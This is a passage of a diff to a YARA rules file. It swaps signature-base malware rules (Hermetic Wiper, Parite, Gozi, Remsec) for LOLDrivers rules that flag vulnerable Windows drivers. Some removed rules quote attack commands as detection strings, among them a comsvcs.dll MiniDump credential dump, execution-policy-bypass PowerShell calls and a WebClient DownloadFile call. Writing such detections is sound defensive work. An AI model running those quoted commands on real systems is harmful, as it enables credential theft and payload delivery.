+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L7426-L7445"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "0f016c80c4938fbcd47a47409969b3925f54292eba2ce01a8e45222ce8615eb8"
+		logic_hash = "014039b9b1b4ea903b4c014ca3d3ff946b1b0f4759d8d78c1fcf825d11318e42"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		hash1 = "c9d8852745e81f3bfc09c0a3570d018ae8298af675e3c6ee81ba5b594ff6abb8"
-		hash2 = "8d47b08504dcf694928e12a6aa372e7fa65d0d6744429e808ff8e225aefa5af2"
-		hash3 = "285e3f21dd1721af2352196628bada81050e4829fb1bb3f8757a45c221737319"
-		hash4 = "b987dcc752d9ceb3b0e6cd4370c28567be44b789e8ed8a90c41aa439437321c5"
 
 	strings:
-		$s1 = "taskkill /im cmd.exe /f" fullword ascii
-		$s2 = "LOADERX64.dll" fullword ascii
-		$x1 = "\\dllhot.exe" ascii
-		$x2 = "dllhot.exe --auto --any --forever --keepalive" fullword ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00410056004700200061006e0074006900200072006f006f0074006b00690074 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310038002e0038002e0034003000350037002e0030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310038002e0038002e0034003000350037002e0030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00410056004700200049006e007400650072006e00650074002000530065006300750072006900740079002000530079007300740065006d0020 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310038002000410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <10000KB and (1 of ($x*) or 2 of them )
+		uint16(0)==0x5a4d and filesize <200KB and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_MAL_Parite_Malware_May19_2 : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Sunmicrosystemsinc_Vboxdrvsys_Sunvirtualbox_R_7539 : FILE
 {
 	meta:
-		description = "Detects Parite malware based on Imphash"
-		author = "Florian Roth (Nextron Systems)"
-		id = "33970268-610c-5abf-9e9e-83dae0c81064"
-		date = "2019-05-31"
-		modified = "2023-12-05"
-		reference = "https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_nansh0u.yar#L102-L118"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "060a26ed6679b7038f1a89385220ad9112d3102023ea9d141332077f79bbe728"
-		score = 75
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - VBoxDrv.sys"
+		author = "Florian Roth"
+		id = "5ccaf486-04c4-5066-b307-e76b6e484d01"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L7448-L7467"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "7539157df91923d4575f7f57c8eb8b0fd87f064c919c1db85e73eebb2910b60c"
+		logic_hash = "dd40b144e403136b4359106d2efeb24335b83ffc13a62fdce7c9bd602dc45506"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		hash1 = "c9d8852745e81f3bfc09c0a3570d018ae8298af675e3c6ee81ba5b594ff6abb8"
-		hash2 = "8d47b08504dcf694928e12a6aa372e7fa65d0d6744429e808ff8e225aefa5af2"
-		hash3 = "285e3f21dd1721af2352196628bada81050e4829fb1bb3f8757a45c221737319"
-		hash4 = "b987dcc752d9ceb3b0e6cd4370c28567be44b789e8ed8a90c41aa439437321c5"
+
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005600690072007400750061006c0042006f007800200053007500700070006f007200740020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00530075006e0020004d006900630072006f00730079007300740065006d0073002c00200049006e0063002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0033002e0030002e0030002e007200340039003300310035 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0033002e0030002e0030002e007200340039003300310035 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00560042006f0078004400720076002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00530075006e0020005600690072007400750061006c0042006f0078 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00560042006f0078004400720076002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300039002000530075006e0020004d006900630072006f00730079007300740065006d0073002c00200049006e0063002e }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <18000KB and (pe.imphash()=="b132a2719be01a6ef87d9939d785e19e" or pe.imphash()=="78f4f885323ffee9f8fa011455d0523d")
+		uint16(0)==0x5a4d and filesize <200KB and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_EXPL_Strings_CVE_POC_May19_1 : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Interfacecorporation_Cpxcsys_Gpcxc_1183 : FILE
 {
 	meta:
-		description = "Detects strings used in CVE POC noticed in May 2019"
-		author = "Florian Roth (Nextron Systems)"
-		id = "df11e0b1-e907-5a24-a3e7-0e78acb379f7"
-		date = "2019-05-31"
-		modified = "2023-12-05"
-		reference = "https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_nansh0u.yar#L120-L136"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "b470e9f5716130d810e519abb8d4e1058b5a806d59ddae53a40cac5597fbb874"
-		score = 80
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - CP2X72C.SYS"
+		author = "Florian Roth"
+		id = "cd8eccb8-d106-514c-8b92-7d5016d9a182"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L7470-L7489"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "11832c345e9898c4f74d3bf8f126cf84b4b1a66ad36135e15d103dbf2ac17359"
+		logic_hash = "5842fcb278bb2b659760677fea80cbb110347e495e9f1a39fc901f0927753b88"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		hash1 = "01c3882e8141a25abe37bb826ab115c52fd3d109c4a1b898c0c78cee8dac94b4"
 
 	strings:
-		$x1 = "\\Debug\\poc_cve_20" ascii
-		$x2 = "\\Release\\poc_cve_20" ascii
-		$x3 = "alloc fake fail: %x!" fullword ascii
-		$x4 = "Allocate fake tagWnd fail!" fullword ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004700500043002d003200580037003200430020004b00650072006e0065006c0020004400650076006900630065002000440072006900760065007200280053005900530029002000570069006e0064006f00770073004e0054 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0049006e007400650072006600610063006500200043006f00720070006f0072006100740069006f006e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e00360031002d00320030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e00360031002d00320030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0043005000320058003700320043002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004700500043002d00320058003700320043 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0043005000320058003700320043 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200032003000300031002c0020003200300030003700200049006e007400650072006600610063006500200043006f00720070002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <400KB and 1 of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_MAL_Gozicrypter_Dec20_1 : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Trendmicroinc_Tmcommsys_Trendmicroeyes_478D : FILE
 {
 	meta:
-		description = "Detects crypter associated with several Gozi samples"
-		author = "James Quinn"
-		id = "d4a48612-fa6f-5f03-8d27-5f6b79b2a070"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "YaraExchange"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_gozi_crypter.yar#L2-L13"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "51fdfbb59b8f52cc2ff89d994c0f89d2c2895c346b098879c68b4ccb880783c1"
-		score = 70
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
+		author = "Florian Roth"
+		id = "13ee4d76-b778-593e-85e6-8402d01352e8"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L7492-L7511"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "478d855b648ef4501d3b08b3b10e94076ac67546b0ce86b454324f1bf9a78aa0"
+		logic_hash = "29a09ee10d391b3183052255622f7b96a0e2bf649acc30e10d57e1cb3b17b84f"
+		score = 40
+		quality = 80
 		tags = "FILE"
 
 	strings:
-		$s1 = { 89 05 ?? ?? ?? ?? 81 2d ?? ?? ?? ?? 01 00 00 00 81 3D ?? ?? ?? ?? 00 00 00 00 }
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e00360030002e0030002e0031003000380032 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e00360030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200045007900650073 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000200028004300290020002000320030003100390020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
 
 	condition:
-		uint16(0)==0x5A4D and any of them and filesize <1000KB
+		uint16(0)==0x5a4d and filesize <400KB and all of them
 }
-rule SIGNATURE_BASE_APT_UA_Hermetic_Wiper_Feb22_1 : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Trendmicroinc_Tmcommsys_Activeclean_A903 : FILE
 {
 	meta:
-		description = "Detects Hermetic Wiper malware"
-		author = "Florian Roth (Nextron Systems)"
-		id = "2cbe4a69-e31a-5f5f-ab1a-9d71d16fb30f"
-		date = "2022-02-24"
-		modified = "2023-12-05"
-		reference = "https://www.sentinelone.com/labs/hermetic-wiper-ukraine-under-attack/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_ua_hermetic_wiper.yar#L2-L38"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "1cf124f7533a060da8aff1a18f64a94b183502e58ffdfca012d72d99d30225ba"
-		score = 75
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
+		author = "Florian Roth"
+		id = "3142d323-869f-5e25-b860-da2c34f659ce"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L7514-L7533"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "a903f329b70f0078197cb7683aae1bb432eaf58572fe572f7cb4bc2080042d7e"
+		logic_hash = "b79d850df65fa7a96642e4a1da2240e001c87d44d64c621c756face489c0eb6b"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		hash1 = "0385eeab00e946a302b24a91dea4187c1210597b8e17cd9e2230450f5ece21da"
-		hash2 = "3c557727953a8f6b4788984464fb77741b821991acbf5e746aebdd02615b1767"
-		hash3 = "2c10b2ec0b995b88c27d141d6f7b14d6b8177c52818687e4ff8e6ecf53adf5bf"
-		hash4 = "1bc44eef75779e3ca1eefb8ff5a64807dbc942b1e4a2672d77b9f6928d292591"
 
 	strings:
-		$xc1 = { 00 5C 00 5C 00 2E 00 5C 00 50 00 68 00 79 00 73
-               00 69 00 63 00 61 00 6C 00 44 00 72 00 69 00 76
-               00 65 00 25 00 75 00 00 00 5C 00 5C 00 2E 00 5C
-               00 45 00 50 00 4D 00 4E 00 54 00 44 00 52 00 56
-               00 5C 00 25 00 75 00 00 00 5C 00 5C 00 2E 00 5C
-               00 00 00 00 00 25 00 73 00 25 00 2E 00 32 00 73
-               00 00 00 00 00 24 00 42 00 69 00 74 00 6D 00 61
-               00 70 00 00 00 24 00 4C 00 6F 00 67 00 46 00 69
-               00 6C 00 65 }
-		$sc1 = { 00 44 00 72 00 69 00 76 00 65 00 72 00 73 00 00
-               00 64 00 72 00 76 00 00 00 53 00 79 00 73 00 74
-               00 65 00 6D 00 33 00 32 }
-		$s1 = "\\\\?\\C:\\Windows\\System32\\winevt\\Logs" wide fullword
-		$s2 = "\\\\.\\EPMNTDRV\\%u" wide fullword
-		$s3 = "DRV_XP_X64" wide fullword
-		$s4 = "%ws%.2ws" wide fullword
-		$op1 = { 8b 7e 08 0f 57 c0 8b 46 0c 83 ef 01 66 0f 13 44 24 20 83 d8 00 89 44 24 18 0f 88 3b 01 00 00 }
-		$op2 = { 13 fa 8b 55 f4 4e 3b f3 7f e6 8a 45 0f 01 4d f0 0f 57 c0 }
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0036002e0030002e0031003000350032 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0036 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041006300740069007600650043006c00650061006e }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300035002d00320030003000370020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
 
 	condition:
-		( uint16(0)==0x5a53 or uint16(0)==0x5a4d) and filesize <400KB and (1 of ($x*) or 3 of them )
+		uint16(0)==0x5a4d and filesize <200KB and all of them
 }
-rule SIGNATURE_BASE_APT_UA_Hermetic_Wiper_Artefacts_Feb22_1
+rule LOLDRIVERS_PUA_VULN_Driver_Sysinternalswwwsysinternalscom_Procexpsys_Processexplorer_3FF3 : FILE
 {
 	meta:
-		description = "Detects artefacts found in Hermetic Wiper malware related intrusions"
-		author = "Florian Roth (Nextron Systems)"
-		id = "77f793c1-b02c-59c3-b3e4-75758f5b3b8d"
-		date = "2022-02-25"
-		modified = "2023-12-05"
-		reference = "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ukraine-wiper-malware-russia"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_ua_hermetic_wiper.yar#L40-L70"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "5e917618a5172c68b4b32ba9e63402c2a98ccb027276b317ec169a4fef219de1"
-		score = 75
-		quality = 85
-		tags = ""
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - procexp.Sys"
+		author = "Florian Roth"
+		id = "ce58b5cb-437a-56b2-8ccb-9399ce2ef6c3"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L7536-L7556"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "3ff39728f1c11d1108f65ec5eb3d722fd1a1279c530d79712e0d32b34880baaa"
+		hash = "86721ee8161096348ed3dbe1ccbf933ae004c315b1691745a8af4a0df9fed675"
+		logic_hash = "3035342ffaf651efc8de23d2da68540ee7d89b2bf2b5c2925094e7fe2a3f7c28"
+		score = 40
+		quality = 80
+		tags = "FILE"
 
 	strings:
-		$sx1 = "/c powershell -c \"rundll32 C:\\windows\\system32\\comsvcs.dll MiniDump" ascii wide
-		$sx2 = "appdata\\local\\microsoft\\windows\\winupd.log" ascii wide
-		$sx3 = "AppData\\Local\\Microsoft\\Windows\\Winupd.log" ascii wide
-		$sx4 = "CSIDL_SYSTEM_DRIVE\\temp\\sys.tmp1" ascii wide
-		$sx5 = "\\policydefinitions\\postgresql.exe" ascii wide
-		$sx6 = "powershell -v 2 -exec bypass -File text.ps1" ascii wide
-		$sx7 = "powershell -exec bypass gp.ps1" ascii wide
-		$sx8 = "powershell -exec bypass -File link.ps1" ascii wide
-		$sx9 = " 1> \\\\127.0.0.1\\ADMIN$\\__16" ascii wide
-		$sa1 = "(New-Object System.Net.WebClient).DownloadFile(" ascii wide
-		$sa2 = "CSIDL_SYSTEM_DRIVE\\temp\\" ascii wide
-		$sa3 = "1> \\\\127.0.0.1\\ADMIN$" ascii wide
-		$fp1 = "<html" ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00500072006f00630065007300730020004500780070006c006f007200650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0053007900730069006e007400650072006e0061006c00730020002d0020007700770077002e0073007900730069006e007400650072006e0061006c0073002e0063006f006d }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310031002e00340030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310031002e00340030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00700072006f0063006500780070002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00500072006f00630065007300730020004500780070006c006f007200650072 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00700072006f0063006500780070002e005300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028004300290020004d002e002000520075007300730069006e006f007600690063006800200031003900390036002d0032003000310030 }
 
 	condition:
-		1 of ($sx*) or all of ($sa*) and not 1 of ($fp*)
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_APT_UA_Hermetic_Wiper_Scheduled_Task_Feb22_1
+rule LOLDRIVERS_PUA_VULN_Driver_Realixtm_Hwinfosys_Hwinfokerneldriver_1B17 : FILE
 {
 	meta:
-		description = "Detects scheduled task pattern found in Hermetic Wiper malware related intrusions"
-		author = "Florian Roth (Nextron Systems)"
-		id = "a628f773-9c71-5979-a4db-37b6b6bd6a56"
-		date = "2022-02-25"
-		modified = "2023-12-05"
-		reference = "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ukraine-wiper-malware-russia"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_ua_hermetic_wiper.yar#L72-L88"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "56368ba1c97fe3455312b6ee86dcd1a21677f7dfa3836e76ada4b236a5b2c171"
-		score = 85
-		quality = 85
-		tags = ""
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - HWiNFO32.SYS"
+		author = "Florian Roth"
+		id = "f9c35fdf-7048-53b3-bff2-b30f283eadc6"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L7559-L7578"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "1b17d12076d047e74d15e6e51e10497ad49419bec7fbe93386c57d3efbaadc0b"
+		logic_hash = "cd8e28cc91da2da748b449b175c24f7271019fa6e9b475b8689183eb1866c59a"
+		score = 40
+		quality = 80
+		tags = "FILE"
 
 	strings:
-		$a0 = "<Task version=" ascii wide
-		$sa1 = "CSIDL_SYSTEM_DRIVE\\temp" ascii wide
-		$sa2 = "postgresql.exe 1> \\\\127.0.0.1\\ADMIN$" ascii wide
-		$sa3 = "cmd.exe /Q /c move CSIDL_SYSTEM_DRIVE" ascii wide
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004800570069004e0046004f003300320020004b00650072006e0065006c0020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005200450041004c0069005800280074006d0029 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0037002e003300300020006200750069006c0074002000620079003a002000570069006e00440044004b }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0037002e00330030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004800570069004e0046004f00330032002e005300590053 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004800570069004e0046004f003300320020004b00650072006e0065006c0020004400720069007600650072 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004800570069004e0046004f00330032002e005300590053 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028006300290031003900390039002d00320030003100300020004d0061007200740069006e0020004d0061006c00ed006b0020002d0020005200450041004c00690058 }
 
 	condition:
-		$a0 and 1 of ($s*)
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_Remsec_Executable_Blob_32
+rule LOLDRIVERS_PUA_VULN_Driver_Novellinc_Novellxtier_6CF1 : FILE
 {
 	meta:
-		description = "Detects malware from Symantec's Strider APT report"
-		author = "Symantec"
-		id = "d7a7e57a-b117-5da8-a7a2-4c6351bd9072"
-		date = "2016-08-08"
-		modified = "2023-12-05"
-		reference = "http://www.symantec.com/connect/blogs/strider-cyberespionage-group-turns-eye-sauron-targets"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_strider.yara#L8-L20"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "1cfc43ab15b3d220a636c150315c30f5654e53fad67d20534ce4d5c00295e35e"
-		score = 80
-		quality = 85
-		tags = ""
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - libnicm.sys"
+		author = "Florian Roth"
+		id = "4226b41f-4828-558b-b990-fd63dbc5b2e3"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L7581-L7599"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "6cf1cac0e97d30bb445b710fd8513879678a8b07be95d309cbf29e9b328ff259"
+		logic_hash = "60fcd09b5ad2beef9a28c78590e6a935b5a2818db45175960527285a4a765ea5"
+		score = 40
+		quality = 80
+		tags = "FILE"
 
 	strings:
-		$code = { 31 06 83 C6 04 D1 E8 73 05 35 01 00 00 D0 E2 F0 }
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004e006f00760065006c006c0020005800540043004f004d0020005300650072007600690063006500730020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004e006f00760065006c006c002c00200049006e0063002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0033002e0031002e0036002e0030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0033002e0031002e0036 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004e006f00760065006c006c002000580054006900650072 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006c00690062006e00690063006d002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]00280043002900200043006f007000790072006900670068007400200032003000300030002d0032003000310030002c0020004e006f00760065006c006c002c00200049006e0063002e00200041006c006c0020005200690067006800740073002000520065007300650072007600650064002e }
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_Remsec_Executable_Blob_64
+rule LOLDRIVERS_PUA_VULN_Driver_Tenasyscorporation_Rtifsys_Intime_EAE5 : FILE
 {
 	meta:
-		description = "Detects malware from Symantec's Strider APT report"
-		author = "Symantec"
-		id = "22345f40-3dae-5d5b-acc6-c67394475636"
-		date = "2016-08-08"
-		modified = "2023-12-05"
-		reference = "http://www.symantec.com/connect/blogs/strider-cyberespionage-group-turns-eye-sauron-targets"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_strider.yara#L22-L34"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "957e5b6afabec3fb1b169dd85d0e950107e219f7dec8ef779a18bd90d9824a97"
-		score = 80
-		quality = 85
-		tags = ""
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - rtif.sys"
+		author = "Florian Roth"
+		id = "bd54bf19-8af7-5afb-b861-e1ecb145ca1a"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L7602-L7621"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "eae5c993b250dcc5fee01deeb30045b0e5ee7cf9306ef6edd8c58e4dc743a8ed"
+		logic_hash = "ea0bb86a2cc5f3349678d9a698e14301207ba1bf6c19f9caf91abd72e7794a8c"
+		score = 40
+		quality = 80
+		tags = "FILE"
 
 	strings:
-		$code = { 31 06 48 83 C6 04 D1 E8 73 05 35 01 00 00 D0 E2 EF }
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0049004e00740069006d006500200050006e00500020005200540020004b00650072006e0065006c00200049006e00740065007200660061006300650020004400720069007600650072 }
